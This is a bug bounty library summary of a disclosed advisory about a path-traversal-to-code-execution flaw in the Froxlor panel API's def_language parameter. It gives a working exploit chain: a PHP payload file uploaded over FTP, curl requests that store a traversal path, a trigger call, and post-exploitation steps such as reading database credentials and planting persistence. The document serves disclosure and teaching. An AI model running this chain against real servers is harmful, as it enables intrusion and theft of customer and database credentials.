# Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution

Froxlor API Customers.update stores unvalidated def_language path traversal, later require'd by Language::loadLanguage, giving authenticated customer PHP RCE as www-data.

- Payout: Research
- Severity: critical
- Program: Froxlor
- Found by: offset
- Disclosed: 2026-04-16
- CVE: CVE-2026-41228
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w59f-67xm-rxx7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w59f-67xm-rxx7
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Froxlor panel API (Customers.update / Admins.update) and Language loader
**Root cause:** API validates def_language only with a permissive regex allowing path traversal, unlike the web UI which checks against Language::getLanguages(); the stored value is later concatenated into a require path in Language::loadLanguage().
**Steps:**
1. Upload `evil.lng.php` containing `<?php system("id > /tmp/pwned"); return [];` to own web dir via FTP at `/var/customers/webs/customer1/evil.lng.php`.
2. POST to `/api` with `{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}` using Basic auth apikey:apisecret.
3. Trigger inclusion with a follow-up API call e.g. `{"command":"Customers.get"}`; initLang loads def_language into Language::setLanguage.
4. Verify `cat /tmp/pwned` shows `uid=33(www-data)`.
**How found:** Noticed API and web UI validate def_language inconsistently: web UI checks against Language::getLanguages() while API only applies the default regex, then traced the stored value into Language::loadLanguage()'s require path.
**Exploitation:** Authenticated customer with default FTP and API access uploads a .lng.php payload to their web directory, sets def_language to a traversal path via Customers.update, then any subsequent API request causes require of the attacker file, executing PHP as the web server user; enables reading lib/userdata.inc.php for DB creds, lateral movement, backdoor.
**Escalation:** Post-RCE: read lib/userdata.inc.php for DB credentials, access all customer data/admin creds, modify source/cron for persistence.
**Insight:** When a panel has both a web UI and API writing the same setting, diff their validation paths; a permissive default regex on the API side plus a later file-include sink is a classic LFI-to-RCE. Also note the auto-appended `.lng.php` suffix is bypassable when the attacker controls file upload in a reachable directory.

## Proof of concept (copied exactly from the original report)

**API request setting path traversal def_language**

```
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
```

**Malicious language file upload via FTP**

```
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
```

**Trigger inclusion via Customers.get API call**

```
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'
```

